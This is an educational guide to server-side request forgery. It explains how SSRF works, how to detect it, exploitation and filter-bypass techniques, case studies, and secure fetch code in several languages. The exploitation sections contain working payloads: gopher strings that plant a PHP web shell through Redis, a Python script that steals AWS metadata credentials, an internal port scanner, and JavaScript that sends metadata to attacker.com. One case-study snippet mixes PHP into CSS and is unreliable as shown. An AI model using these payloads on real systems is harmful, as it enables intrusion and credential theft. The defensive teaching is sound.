Complete SSRF Security Guide
Understanding, Identifying, and Preventing Server-Side Request Forgery Vulnerabilities
1.Introduction to SSRF
Server-Side Request Forgery (SSRF) is a web security vulnerability that allows an attacker to cause the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. In typical SSRF attacks, the attacker might cause the server to make a connection to internal-only services within the organization's infrastructure, or force the server to connect to arbitrary external systems, potentially leaking sensitive data.
Critical Impact
What Makes SSRF Dangerous?
- •Bypasses Network Segmentation: Attackers can reach internal services that are not directly accessible from the internet
- •Cloud Metadata Access: In cloud environments, SSRF can expose sensitive credentials and configuration data
- •Port Scanning: Internal network reconnaissance and service enumeration
- •Data Exfiltration: Reading local files and accessing internal databases
Types of SSRF
Basic SSRF
The attacker receives a direct response from the target server. The application fetches a resource and returns it to the user, allowing the attacker to see the response content.
Blind SSRF
The application makes the request but doesn't return the response to the attacker. Detection relies on side-channel techniques like timing analysis, DNS lookups, or out-of-band data exfiltration.
Common Attack Scenarios
SSRF vulnerabilities commonly appear in applications that:
- •Fetch remote URLs for webhooks, RSS feeds, or URL previews
- •Process file uploads that accept URLs as input
- •Generate PDFs or documents from HTML/URLs
- •Integrate with third-party APIs or services
- •Parse XML with external entity references
2.Understanding SSRF Mechanics
To effectively identify and prevent SSRF vulnerabilities, it's crucial to understand how these attacks work at a technical level. This section explores the mechanics of SSRF, including request flows, protocol exploitation, and network architecture considerations.
Attack Flow
A typical SSRF attack follows this pattern:
- 1. Attacker identifies injection point: Find where the application accepts URLs or makes server-side requests
- 2. Craft malicious payload: Create a URL targeting internal resources
- 3. Server makes request: Application fetches the attacker-controlled URL
- 4. Response handling: Attacker receives data or infers information from timing/errors
Protocol Exploitation
Vulnerable Functions and Libraries
Different programming languages have various functions that can be exploited for SSRF:
1import requests
2import urllib
3
4# Python - Vulnerable SSRF examples
5def fetch_url_unsafe(url):
6 # requests library - vulnerable if URL not validated
7 response = requests.get(url)
8 return response.text
9
10def fetch_with_urllib(url):
11 # urllib - can access file:// and other protocols
12 response = urllib.request.urlopen(url)
13 return response.read()
14
15# Attacker can provide:
16# http://169.254.169.254/latest/meta-data/
17# file:///etc/passwd
18# gopher://internal-server:6379/_SET%20key%20value1const axios = require('axios');
2const http = require('http');
3
4// Node.js - Vulnerable SSRF examples
5async function fetchUrlUnsafe(url) {
6 // axios - vulnerable without proper validation
7 const response = await axios.get(url);
8 return response.data;
9}
10
11function fetchWithHttp(url) {
12 // native http module - can be exploited
13 return new Promise((resolve, reject) => {
14 http.get(url, (res) => {
15 let data = '';
16 res.on('data', chunk => data += chunk);
17 res.on('end', () => resolve(data));
18 }).on('error', reject);
19 });
20}
21
22// Attacker payloads:
23// http://localhost:6379/ (Redis)
24// http://127.0.0.1:9200/_search (Elasticsearch)
25// http://[::1]:8080/admin (IPv6 localhost)1<?php
2// PHP - Vulnerable SSRF examples
3
4function fetchUrlUnsafe($url) {
5 // file_get_contents - supports multiple protocols
6 $content = file_get_contents($url);
7 return $content;
8}
9
10function fetchWithCurl($url) {
11 // cURL - vulnerable if CURLOPT_PROTOCOLS not restricted
12 $ch = curl_init();
13 curl_setopt($ch, CURLOPT_URL, $url);
14 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
15 $result = curl_exec($ch);
16 curl_close($ch);
17 return $result;
18}
19
20// Exploitable with:
21// file:///var/www/html/config.php
22// php://filter/convert.base64-encode/resource=/etc/passwd
23// dict://localhost:11211/stats (Memcached)
24?>Protocol Smuggling
SSRF attacks can leverage various protocols beyond HTTP:
| Protocol | Use Case | Example Target |
|---|---|---|
| file:// | Read local files | file:///etc/passwd |
| dict:// | Query services | dict://localhost:11211/stat |
| gopher:// | Send arbitrary data | gopher://redis:6379/_SET |
| ftp:// | FTP services | ftp://internal-ftp/ |
| ldap:// | LDAP queries | ldap://internal-ldap/ |
| tftp:// | Trivial FTP | tftp://internal/config |
Cloud Metadata Services
Cloud environments expose metadata services that are prime SSRF targets:
AWS Metadata Service (IMDSv1)
1# AWS EC2 Metadata Service
2# Accessible at a special non-routable address
3curl http://169.254.169.254/latest/meta-data/
4
5# Common endpoints:
6curl http://169.254.169.254/latest/meta-data/hostname
7curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
8curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
9
10# User data (often contains sensitive info):
11curl http://169.254.169.254/latest/user-data/The AWS metadata service provides temporary credentials that can be used to authenticate to AWS APIs. IMDSv1 is vulnerable to SSRF, while IMDSv2 requires a token obtained via PUT request.
GCP Metadata Service
1# Google Cloud Platform Metadata
2# Requires special header: Metadata-Flavor: Google
3curl -H "Metadata-Flavor: Google" \
4 http://metadata.google.internal/computeMetadata/v1/
5
6# Get access token:
7curl -H "Metadata-Flavor: Google" \
8 http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
9
10# Project info:
11curl -H "Metadata-Flavor: Google" \
12 http://metadata.google.internal/computeMetadata/v1/project/project-idGCP requires the Metadata-Flavor header, but SSRF vulnerabilities that allow header injection can still exploit this service.
Azure Instance Metadata Service (IMDS)
1# Azure Instance Metadata Service
2# Requires header: Metadata: true
3curl -H "Metadata: true" \
4 "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
5
6# Get access token:
7curl -H "Metadata: true" \
8 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
9
10# Instance details:
11curl -H "Metadata: true" \
12 "http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01"Azure's IMDS requires the Metadata header. The service provides OAuth tokens for Azure Resource Manager and other Azure services.
Real-World Impact
3.Identifying SSRF Vulnerabilities
Effective identification of SSRF vulnerabilities requires both automated scanning and manual testing techniques. This section covers detection methodologies for both black-box and white-box testing scenarios.
Detection Methodology
Black-Box Testing
- •Map all URL parameters and inputs
- •Test with out-of-band detection
- •Analyze timing differences
- •Check error messages for information leakage
White-Box Testing
- •Code review for HTTP client usage
- •Trace user input to network requests
- •Identify missing input validation
- •Check for URL parsing inconsistencies
Common Injection Points
Look for SSRF vulnerabilities in these common scenarios:
1# URL Parameters
2GET /api/fetch?url=http://evil.com HTTP/1.1
3
4# POST Body (JSON)
5POST /api/webhook HTTP/1.1
6Content-Type: application/json
7
8{"callback_url": "http://evil.com"}
9
10# File Uploads
11POST /upload HTTP/1.1
12Content-Type: multipart/form-data
13
14Content-Disposition: form-data; name="avatar"
15Content-Type: text/plain
16
17http://evil.com/avatar.jpg
18
19# XML External Entities (XXE to SSRF)
20POST /api/parse HTTP/1.1
21Content-Type: application/xml
22
23<!DOCTYPE foo [
24 <!ENTITY xxe SYSTEM "http://internal-server/secret">
25]>
26<data>&xxe;</data>
27
28# PDF Generation
29POST /api/generate-pdf HTTP/1.1
30
31{"html": "<img src='http://evil.com/track'>"}
32
33# Image Processing
34POST /api/resize HTTP/1.1
35
36{"image_url": "http://169.254.169.254/latest/meta-data/"}Out-of-Band Detection
For blind SSRF, use out-of-band techniques to confirm the vulnerability:
DNS Exfiltration
1# Using Burp Collaborator or interact.sh
2# Test payload:
3http://YOUR-SUBDOMAIN.burpcollaborator.net
4http://YOUR-SUBDOMAIN.interact.sh
5
6# Check for DNS requests in your monitoring tool
7
8# Alternative: Run your own DNS server
9# Install and configure dnslog or similar tool
10python3 -m http.server 8080 &
11# Monitor access logs for incoming requests
12
13# Advanced: DNS exfiltration with subdomains
14http://data-exfil.YOUR-DOMAIN.com
15# Where 'data-exfil' can contain encoded dataTesting Workflow
Follow this systematic approach to identify SSRF:
- 1.Reconnaissance:
Map all endpoints that accept URLs or make external requests. Look for parameters like url, link, callback, webhook, src, href, etc.
- 2.Baseline Testing:
Test with a legitimate URL to understand normal behavior, response times, and error handling.
- 3.Internal IP Testing:
Try accessing internal IP ranges: 127.0.0.1, 192.168.0.0/16, 10.0.0.0/8, 172.16.0.0/12
- 4.Cloud Metadata:
Test for cloud metadata endpoints: 169.254.169.254 (AWS/Azure), metadata.google.internal (GCP)
- 5.Protocol Testing:
Try different protocols: file://, dict://, gopher://, ftp://
- 6.Bypass Testing:
If filters exist, test bypass techniques (covered in next section)
- 7.Documentation:
Document findings with proof-of-concept, impact assessment, and remediation recommendations
Automated Scanning
4.SSRF Exploitation Techniques
Once an SSRF vulnerability is identified, various exploitation techniques can be employed depending on the context and available defenses. This section covers advanced bypass methods and exploitation strategies.
Responsible Disclosure
Bypass Techniques
Many applications attempt to block SSRF with filters. Here are common bypass techniques:
1. IP Address Encoding
1# Different representations of 127.0.0.1
2
3# Decimal notation
4http://2130706433/ # 127*256^3 + 0*256^2 + 0*256 + 1
5
6# Octal notation
7http://0177.0000.0000.0001/
8http://017700000001/
9
10# Hexadecimal notation
11http://0x7f.0x0.0x0.0x1/
12http://0x7f000001/
13
14# Mixed notation
15http://0x7f.0.0.1/
16http://127.0.0.0x1/
17
18# Integer overflow (on some systems)
19http://2852039166/ # 169.254.169.254 as decimal
20
21# IPv6 representations
22http://[::1]/ # IPv6 localhost
23http://[0:0:0:0:0:ffff:127.0.0.1]/ # IPv4-mapped IPv6
24http://[::ffff:127.0.0.1]/
25
26# Enclosed alphanumerics
27http://①②⑦.⓪.⓪.①/2. DNS Rebinding
DNS rebinding exploits the time-of-check vs time-of-use vulnerability. Set up a domain that resolves to different IPs on subsequent requests:
1# DNS rebinding concept
2# Domain setup with very low TTL (0 seconds)
3
4# First request: attacker.com -> 1.2.3.4 (public IP, passes check)
5# Second request: attacker.com -> 127.0.0.1 (internal IP, exploited)
6
7# Tools that help: singularity, whonow, rebind.network
8
9# Example attack flow:
10# 1. Application checks: "Is attacker.com allowed?"
11# DNS resolves to public IP -> ALLOWED
12# 2. Application makes request to attacker.com
13# DNS now resolves to 169.254.169.254 -> EXPLOITED!3. URL Parser Differentials
Exploit differences between URL validation and URL fetching libraries:
1# Using @ symbol to bypass checks
2http://expected-host@169.254.169.254/
3# Some parsers read "expected-host" as hostname
4# But actual request goes to 169.254.169.254
5
6# Using # fragment
7http://169.254.169.254#expected-host.com
8# Fragment may be ignored during validation
9
10# Using \ vs / (Windows)
11http://169.254.169.254\@expected-host.com
12
13# URL with credentials
14http://user:pass@expected-host.com@169.254.169.254/
15
16# Rare characters that might be mishandled
17http://expected-host%00.evil.com
18http://expected-host%0d%0a@evil.com
19
20# Case sensitivity tricks
21http://127.0.0.1 vs HTTP://127.0.0.14. Protocol Smuggling
1# Using gopher:// to send arbitrary data to services
2
3# Example: Sending commands to Redis
4gopher://127.0.0.1:6379/_SET%20key%20value
5gopher://127.0.0.1:6379/_GET%20key
6
7# Example: SMTP injection
8gopher://internal-smtp:25/_MAIL%20FROM:%3Cattacker@evil.com%3E%0ARCPT%20TO:%3Cvictim@target.com%3E
9
10# Example: Memcached injection
11gopher://127.0.0.1:11211/_set%20key%200%200%205%0Avalue
12
13# Using dict:// for service probing
14dict://127.0.0.1:6379/info
15
16# Using file:// for local file access
17file:///etc/passwd
18file:///c:/windows/win.ini
19
20# Using jar:// (Java)
21jar:http://evil.com!/file.txt
22
23# Using php:// wrappers
24php://filter/convert.base64-encode/resource=/etc/passwd5. Open Redirect Chains
Combine SSRF with open redirects to bypass domain allowlists:
1# If application only allows specific domains:
2http://trusted-domain.com/redirect?url=http://169.254.169.254/
3
4# Chain multiple redirects
5http://trusted-domain.com/redirect?url=http://another-redirect.com/redir?target=http://internal/
6
7# Using URL shorteners
8http://bit.ly/XXXXX -> http://169.254.169.254/
9
10# Using PDF/document generators with redirects
11{"url": "http://trusted-domain.com/redirect?to=file:///etc/passwd"}6. CRLF Injection
1# Inject newlines to manipulate HTTP requests
2http://example.com%0d%0aX-Injected-Header:%20value
3
4# Bypass host checks
5http://expected-host.com%0d%0aHost:%20169.254.169.254
6
7# Full request smuggling (if vulnerable)
8http://example.com%0d%0a%0d%0aGET%20/admin%20HTTP/1.1%0d%0aHost:%20localhostAdvanced Exploitation
Port Scanning Internal Networks
1import requests
2import time
3
4def ssrf_port_scan(base_url, target_ip, ports):
5 """
6 Use SSRF to scan internal network ports
7 Timing differences indicate open/closed ports
8 """
9 results = {}
10
11 for port in ports:
12 url = f"{base_url}?url=http://{target_ip}:{port}/"
13
14 try:
15 start = time.time()
16 response = requests.get(url, timeout=5)
17 elapsed = time.time() - start
18
19 # Analyze response
20 if response.status_code == 200:
21 results[port] = "open"
22 elif elapsed > 3:
23 results[port] = "filtered/timeout"
24 else:
25 results[port] = "closed"
26
27 except requests.exceptions.Timeout:
28 results[port] = "filtered/timeout"
29 except Exception as e:
30 results[port] = f"error: {str(e)}"
31
32 return results
33
34# Example usage
35base_url = "http://vulnerable-app.com/fetch"
36target = "192.168.1.100"
37common_ports = [22, 80, 443, 3306, 5432, 6379, 8080, 9200]
38
39results = ssrf_port_scan(base_url, target, common_ports)
40for port, status in results.items():
41 print(f"Port {port}: {status}")Exploiting AWS Metadata
1import requests
2
3def exploit_aws_metadata(ssrf_url):
4 """
5 Exploit SSRF to steal AWS credentials from metadata service
6 """
7 metadata_base = "http://169.254.169.254/latest/meta-data"
8
9 # Step 1: Enumerate IAM roles
10 roles_url = f"{ssrf_url}?url={metadata_base}/iam/security-credentials/"
11 response = requests.get(roles_url)
12
13 if response.status_code != 200:
14 print("Failed to access metadata service")
15 return
16
17 role_name = response.text.strip()
18 print(f"Found IAM role: {role_name}")
19
20 # Step 2: Get temporary credentials
21 creds_url = f"{ssrf_url}?url={metadata_base}/iam/security-credentials/{role_name}"
22 response = requests.get(creds_url)
23
24 if response.status_code == 200:
25 import json
26 creds = json.loads(response.text)
27
28 print("\nStolen AWS Credentials:")
29 print(f"AccessKeyId: {creds.get('AccessKeyId')}")
30 print(f"SecretAccessKey: {creds.get('SecretAccessKey')}")
31 print(f"Token: {creds.get('Token')}")
32 print(f"Expiration: {creds.get('Expiration')}")
33
34 return creds
35
36 return None
37
38# Example usage
39ssrf_url = "http://vulnerable-app.com/api/fetch"
40credentials = exploit_aws_metadata(ssrf_url)
41
42# These credentials can now be used with AWS CLI or SDKs
43# export AWS_ACCESS_KEY_ID=...
44# export AWS_SECRET_ACCESS_KEY=...
45# export AWS_SESSION_TOKEN=...IMDSv2 Protection
Reading Local Files
1# Common files to target on Linux
2file:///etc/passwd
3file:///etc/shadow
4file:///etc/hosts
5file:///proc/self/environ
6file:///proc/self/cmdline
7file:///var/log/apache2/access.log
8file:///var/www/html/config.php
9file:///home/user/.ssh/id_rsa
10file:///root/.bash_history
11
12# Common files on Windows
13file:///c:/windows/win.ini
14file:///c:/windows/system32/drivers/etc/hosts
15file:///c:/inetpub/wwwroot/web.config
16file:///c:/users/administrator/.ssh/id_rsa
17
18# Application-specific files
19file:///var/www/html/.env
20file:///app/config/database.yml
21file:///etc/nginx/nginx.confBlind SSRF Exploitation
When you don't receive direct responses, use these techniques:
1import requests
2import time
3
4def blind_ssrf_timing(base_url, test_ip, port):
5 """
6 Use timing analysis to detect open ports in blind SSRF
7 Open ports typically respond faster than closed ones
8 """
9 url = f"{base_url}?url=http://{test_ip}:{port}/"
10
11 timings = []
12 for i in range(3): # Multiple attempts for accuracy
13 start = time.time()
14 try:
15 requests.get(url, timeout=10)
16 except:
17 pass
18 elapsed = time.time() - start
19 timings.append(elapsed)
20
21 avg_time = sum(timings) / len(timings)
22
23 # Open ports usually respond quickly (< 1s)
24 # Closed ports timeout or take longer
25 return "possibly open" if avg_time < 2 else "likely closed"
26
27def blind_ssrf_dns_exfil(ssrf_url, collab_url):
28 """
29 Use DNS exfiltration for blind SSRF detection
30 """
31 # Payload causes DNS lookup to your domain
32 payload = f"{ssrf_url}?url=http://{collab_url}/"
33
34 print(f"Sending payload: {payload}")
35 requests.get(payload)
36
37 print(f"Check your DNS logs at {collab_url} for incoming requests")
38
39# Example usage
40base_url = "http://vulnerable-app.com/process"
41print(blind_ssrf_timing(base_url, "192.168.1.1", 80))
42
43# Use Burp Collaborator or interact.sh
44blind_ssrf_dns_exfil(base_url, "your-subdomain.interact.sh")Bug Bounty Tip
5.Real-World Examples & Case Studies
Understanding real-world SSRF vulnerabilities helps security professionals recognize patterns and assess impact. This section examines notable security incidents and bug bounty reports.
Capital One Data Breach (2019)
Impact: 100+ million customers affected, $80 million fine from regulators
Attack Chain:
- 1. Attacker identified SSRF vulnerability in web application firewall (WAF) configuration
- 2. Exploited SSRF to access AWS metadata service (169.254.169.254)
- 3. Stole IAM role credentials from metadata endpoint
- 4. Used credentials to access S3 buckets containing customer data
- 5. Exfiltrated over 30GB of sensitive data
Root Cause
1# Simplified representation of the attack
2
3# Step 1: Exploit SSRF to reach metadata service
4curl -X POST "http://vulnerable-waf.com/api/fetch" \
5 -d "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
6
7# Response: role-name
8
9# Step 2: Get credentials for the role
10curl -X POST "http://vulnerable-waf.com/api/fetch" \
11 -d "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"
12
13# Response:
14# {
15# "AccessKeyId": "ASIA...",
16# "SecretAccessKey": "...",
17# "Token": "..."
18# }
19
20# Step 3: Use stolen credentials with AWS CLI
21export AWS_ACCESS_KEY_ID="ASIA..."
22export AWS_SECRET_ACCESS_KEY="..."
23export AWS_SESSION_TOKEN="..."
24
25# Step 4: List and download S3 buckets
26aws s3 ls
27aws s3 sync s3://capital-one-customer-data ./stolen-data/Shopify SSRF to RCE
Bounty: $25,000
A security researcher discovered an SSRF vulnerability in Shopify's image processing functionality that could be chained into remote code execution.
Vulnerability Details:
- •Image proxy endpoint accepted arbitrary URLs
- •Used to access internal services including Redis
- •Gopher protocol allowed sending arbitrary Redis commands
- •Achieved RCE by writing web shell through Redis
1# Attack flow
2
3# Step 1: Identify SSRF in image proxy
4POST /api/image-proxy HTTP/1.1
5Host: shopify.com
6Content-Type: application/json
7
8{"url": "http://attacker.com/test.jpg"}
9
10# Step 2: Discover internal Redis (port 6379)
11{"url": "http://127.0.0.1:6379/"}
12
13# Step 3: Use gopher to send Redis commands
14# Gopher protocol allows arbitrary TCP streams
15{"url": "gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a"}
16
17# Step 4: Write web shell through Redis
18{"url": "gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$5%0d%0ashell%0d%0a$50%0d%0a<?php system($_GET['cmd']); ?>%0d%0a"}
19
20# Step 5: Save to web root using Redis config
21{"url": "gopher://127.0.0.1:6379/_*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a"}
22{"url": "gopher://127.0.0.1:6379/_*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a"}
23{"url": "gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0asave%0d%0a"}
24
25# Step 6: Execute commands
26http://shopify.com/shell.php?cmd=whoamiGoogle Cloud SSRF (Metadata Confusion)
Reported: 2020
Researchers found that Google Cloud's requirement for the "Metadata-Flavor: Google" header could be bypassed in certain configurations through CRLF injection.
1# GCP normally requires special header
2# curl -H "Metadata-Flavor: Google" http://metadata.google.internal/
3
4# But CRLF injection can add headers
5payload = "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token%0d%0aMetadata-Flavor:%20Google%0d%0a"
6
7# URL-encoded CRLF (%0d%0a) injects newline
8# Resulting request:
9# GET /computeMetadata/v1/instance/service-accounts/default/token HTTP/1.1
10# Host: metadata.google.internal
11# Metadata-Flavor: Google
12# [rest of headers...]Uber SSRF via PDF Generator
Bounty: $10,000
An SSRF vulnerability in Uber's PDF receipt generation service allowed access to internal APIs and AWS metadata.
1<!-- PDF generators often process HTML with external resources -->
2
3<!-- Step 1: Embed image pointing to metadata service -->
4<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">
5
6<!-- Step 2: Use CSS to exfiltrate data -->
7<style>
8 @import url('http://attacker.com/exfil?data=<?php echo file_get_contents("http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"); ?>');
9</style>
10
11<!-- Step 3: JavaScript execution (if enabled) -->
12<script>
13 fetch('http://169.254.169.254/latest/meta-data/')
14 .then(r => r.text())
15 .then(data => {
16 // Send to attacker's server
17 fetch('http://attacker.com/log?data=' + btoa(data));
18 });
19</script>
20
21<!-- Step 4: SVG with external entities -->
22<svg xmlns="http://www.w3.org/2000/svg">
23 <image href="http://169.254.169.254/latest/meta-data/" />
24</svg>Common Patterns in Bug Bounty Reports
High-Value Targets
- • Webhook endpoints
- • Image processing services
- • PDF/document generators
- • URL preview features
- • RSS/feed readers
- • Import from URL functions
High-Impact Findings
- • Cloud metadata access
- • Internal API exposure
- • Database access (Redis, etc.)
- • File system access
- • RCE chain opportunities
- • Sensitive data exposure
Lessons Learned
6.Prevention & Mitigation
Preventing SSRF requires a defense-in-depth approach combining input validation, network architecture, and secure coding practices. This section provides actionable mitigation strategies for each programming language and framework.
Defense-in-Depth
General Prevention Principles
1. Input Validation
- • Use allowlists, not blocklists
- • Validate URL scheme (http/https only)
- • Resolve DNS before validation
- • Block private IP ranges (RFC 1918)
- • Block cloud metadata endpoints
- • Validate after redirects
2. Network Segmentation
- • Isolate external request services
- • Use egress filtering
- • Implement network policies
- • Disable unnecessary protocols
3. Application-Level Controls
- • Disable redirects or validate destinations
- • Set aggressive timeouts
- • Limit response sizes
- • Remove authentication headers
- • Log all external requests
Secure Implementation by Language
Python (requests, urllib)
❌ Vulnerable Code
1import requests
2
3def fetch_url(url):
4 # NO VALIDATION!
5 response = requests.get(url)
6 return response.text
7
8# Attacker can access anything
9fetch_url("http://169.254.169.254/latest/meta-data/")✅ Secure Code
1import requests
2import socket
3import ipaddress
4from urllib.parse import urlparse
5
6def is_safe_url(url):
7 try:
8 parsed = urlparse(url)
9
10 # Only allow http/https
11 if parsed.scheme not in ['http', 'https']:
12 return False
13
14 # Resolve hostname to IP
15 hostname = parsed.hostname
16 if not hostname:
17 return False
18
19 ip = socket.gethostbyname(hostname)
20 ip_obj = ipaddress.ip_address(ip)
21
22 # Block private IPs
23 if ip_obj.is_private or ip_obj.is_loopback:
24 return False
25
26 # Block cloud metadata
27 if ip == '169.254.169.254':
28 return False
29
30 # Optional: Domain allowlist
31 allowed_domains = ['api.trusted.com']
32 if hostname not in allowed_domains:
33 return False
34
35 return True
36 except Exception:
37 return False
38
39def fetch_url_safe(url):
40 if not is_safe_url(url):
41 raise ValueError("URL not allowed")
42
43 response = requests.get(
44 url,
45 timeout=5,
46 allow_redirects=False, # Disable redirects
47 headers={'User-Agent': 'MyApp/1.0'}
48 )
49
50 # Limit response size
51 if len(response.content) > 10 * 1024 * 1024: # 10MB
52 raise ValueError("Response too large")
53
54 return response.textNode.js (axios, fetch)
❌ Vulnerable Code
1const axios = require('axios');
2
3async function fetchUrl(url) {
4 // NO VALIDATION!
5 const response = await axios.get(url);
6 return response.data;
7}
8
9// Exploitable
10fetchUrl('http://169.254.169.254/latest/meta-data/')✅ Secure Code
1const axios = require('axios');
2const dns = require('dns').promises;
3const { URL } = require('url');
4const ipaddr = require('ipaddr.js');
5
6async function isSafeUrl(urlString) {
7 try {
8 const url = new URL(urlString);
9
10 // Only allow http/https
11 if (!['http:', 'https:'].includes(url.protocol)) {
12 return false;
13 }
14
15 // Resolve DNS
16 const addresses = await dns.resolve4(url.hostname);
17
18 for (const addr of addresses) {
19 const ip = ipaddr.parse(addr);
20
21 // Block private ranges
22 if (ip.range() !== 'unicast') {
23 return false;
24 }
25
26 // Block metadata
27 if (addr === '169.254.169.254') {
28 return false;
29 }
30 }
31
32 // Domain allowlist
33 const allowed = ['api.trusted.com'];
34 if (!allowed.includes(url.hostname)) {
35 return false;
36 }
37
38 return true;
39 } catch (err) {
40 return false;
41 }
42}
43
44async function fetchUrlSafe(url) {
45 if (!(await isSafeUrl(url))) {
46 throw new Error('URL not allowed');
47 }
48
49 const response = await axios.get(url, {
50 timeout: 5000,
51 maxRedirects: 0,
52 maxContentLength: 10 * 1024 * 1024, // 10MB
53 headers: {
54 'User-Agent': 'MyApp/1.0'
55 }
56 });
57
58 return response.data;
59}PHP (cURL, file_get_contents)
❌ Vulnerable Code
1<?php
2function fetchUrl($url) {
3 // DANGEROUS!
4 return file_get_contents($url);
5}
6
7// Exploitable with file://, php://, etc.
8fetchUrl('file:///etc/passwd');
9?>✅ Secure Code
1<?php
2function isSafeUrl($url) {
3 $parsed = parse_url($url);
4
5 // Only allow http/https
6 if (!in_array($parsed['scheme'], ['http', 'https'])) {
7 return false;
8 }
9
10 $hostname = $parsed['host'];
11 $ip = gethostbyname($hostname);
12
13 // Block private IPs
14 if (!filter_var($ip, FILTER_VALIDATE_IP,
15 FILTER_FLAG_NO_PRIV_RANGE |
16 FILTER_FLAG_NO_RES_RANGE)) {
17 return false;
18 }
19
20 // Block metadata
21 if ($ip === '169.254.169.254') {
22 return false;
23 }
24
25 // Domain allowlist
26 $allowed = ['api.trusted.com'];
27 if (!in_array($hostname, $allowed)) {
28 return false;
29 }
30
31 return true;
32}
33
34function fetchUrlSafe($url) {
35 if (!isSafeUrl($url)) {
36 throw new Exception('URL not allowed');
37 }
38
39 $ch = curl_init();
40 curl_setopt($ch, CURLOPT_URL, $url);
41 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
42 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
43 curl_setopt($ch, CURLOPT_TIMEOUT, 5);
44 curl_setopt($ch, CURLOPT_MAXREDIRS, 0);
45
46 // Restrict protocols
47 curl_setopt($ch, CURLOPT_PROTOCOLS,
48 CURLPROTO_HTTP | CURLPROTO_HTTPS);
49 curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS,
50 CURLPROTO_HTTP | CURLPROTO_HTTPS);
51
52 $result = curl_exec($ch);
53 $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
54 curl_close($ch);
55
56 if ($httpCode >= 300 && $httpCode < 400) {
57 throw new Exception('Redirects not allowed');
58 }
59
60 return $result;
61}
62?>Java (HttpURLConnection, Apache HttpClient)
1import java.net.*;
2import java.io.*;
3import java.util.*;
4
5public class SafeHttpClient {
6 private static final Set<String> ALLOWED_SCHEMES =
7 new HashSet<>(Arrays.asList("http", "https"));
8 private static final Set<String> ALLOWED_HOSTS =
9 new HashSet<>(Arrays.asList("api.trusted.com"));
10
11 public static boolean isSafeUrl(String urlString) {
12 try {
13 URL url = new URL(urlString);
14
15 // Check scheme
16 if (!ALLOWED_SCHEMES.contains(url.getProtocol())) {
17 return false;
18 }
19
20 // Resolve and check IP
21 String hostname = url.getHost();
22 InetAddress address = InetAddress.getByName(hostname);
23
24 // Block private IPs
25 if (address.isSiteLocalAddress() ||
26 address.isLoopbackAddress() ||
27 address.isLinkLocalAddress()) {
28 return false;
29 }
30
31 // Block cloud metadata
32 if (address.getHostAddress().equals("169.254.169.254")) {
33 return false;
34 }
35
36 // Domain allowlist
37 if (!ALLOWED_HOSTS.contains(hostname)) {
38 return false;
39 }
40
41 return true;
42 } catch (Exception e) {
43 return false;
44 }
45 }
46
47 public static String fetchUrlSafe(String urlString) throws Exception {
48 if (!isSafeUrl(urlString)) {
49 throw new SecurityException("URL not allowed");
50 }
51
52 URL url = new URL(urlString);
53 HttpURLConnection conn = (HttpURLConnection) url.openConnection();
54
55 // Security settings
56 conn.setInstanceFollowRedirects(false);
57 conn.setConnectTimeout(5000);
58 conn.setReadTimeout(5000);
59 conn.setRequestMethod("GET");
60 conn.setRequestProperty("User-Agent", "MyApp/1.0");
61
62 int responseCode = conn.getResponseCode();
63 if (responseCode >= 300 && responseCode < 400) {
64 throw new SecurityException("Redirects not allowed");
65 }
66
67 // Read response with size limit
68 try (BufferedReader in = new BufferedReader(
69 new InputStreamReader(conn.getInputStream()))) {
70 StringBuilder response = new StringBuilder();
71 String line;
72 int totalSize = 0;
73 int maxSize = 10 * 1024 * 1024; // 10MB
74
75 while ((line = in.readLine()) != null) {
76 totalSize += line.length();
77 if (totalSize > maxSize) {
78 throw new SecurityException("Response too large");
79 }
80 response.append(line);
81 }
82
83 return response.toString();
84 }
85 }
86}Go (net/http)
1package main
2
3import (
4 "fmt"
5 "io"
6 "net"
7 "net/http"
8 "net/url"
9 "time"
10)
11
12var allowedHosts = map[string]bool{
13 "api.trusted.com": true,
14}
15
16func isSafeURL(urlStr string) bool {
17 parsedURL, err := url.Parse(urlStr)
18 if err != nil {
19 return false
20 }
21
22 // Only allow http/https
23 if parsedURL.Scheme != "http" && parsedURL.Scheme != "https" {
24 return false
25 }
26
27 hostname := parsedURL.Hostname()
28
29 // Resolve IP
30 ips, err := net.LookupIP(hostname)
31 if err != nil {
32 return false
33 }
34
35 for _, ip := range ips {
36 // Block private IPs
37 if ip.IsPrivate() || ip.IsLoopback() || ip.IsLinkLocalUnicast() {
38 return false
39 }
40
41 // Block cloud metadata
42 if ip.String() == "169.254.169.254" {
43 return false
44 }
45 }
46
47 // Domain allowlist
48 if !allowedHosts[hostname] {
49 return false
50 }
51
52 return true
53}
54
55func fetchURLSafe(urlStr string) (string, error) {
56 if !isSafeURL(urlStr) {
57 return "", fmt.Errorf("URL not allowed")
58 }
59
60 client := &http.Client{
61 Timeout: 5 * time.Second,
62 CheckRedirect: func(req *http.Request, via []*http.Request) error {
63 return http.ErrUseLastResponse // Don't follow redirects
64 },
65 }
66
67 req, err := http.NewRequest("GET", urlStr, nil)
68 if err != nil {
69 return "", err
70 }
71
72 req.Header.Set("User-Agent", "MyApp/1.0")
73
74 resp, err := client.Do(req)
75 if err != nil {
76 return "", err
77 }
78 defer resp.Body.Close()
79
80 // Check for redirects
81 if resp.StatusCode >= 300 && resp.StatusCode < 400 {
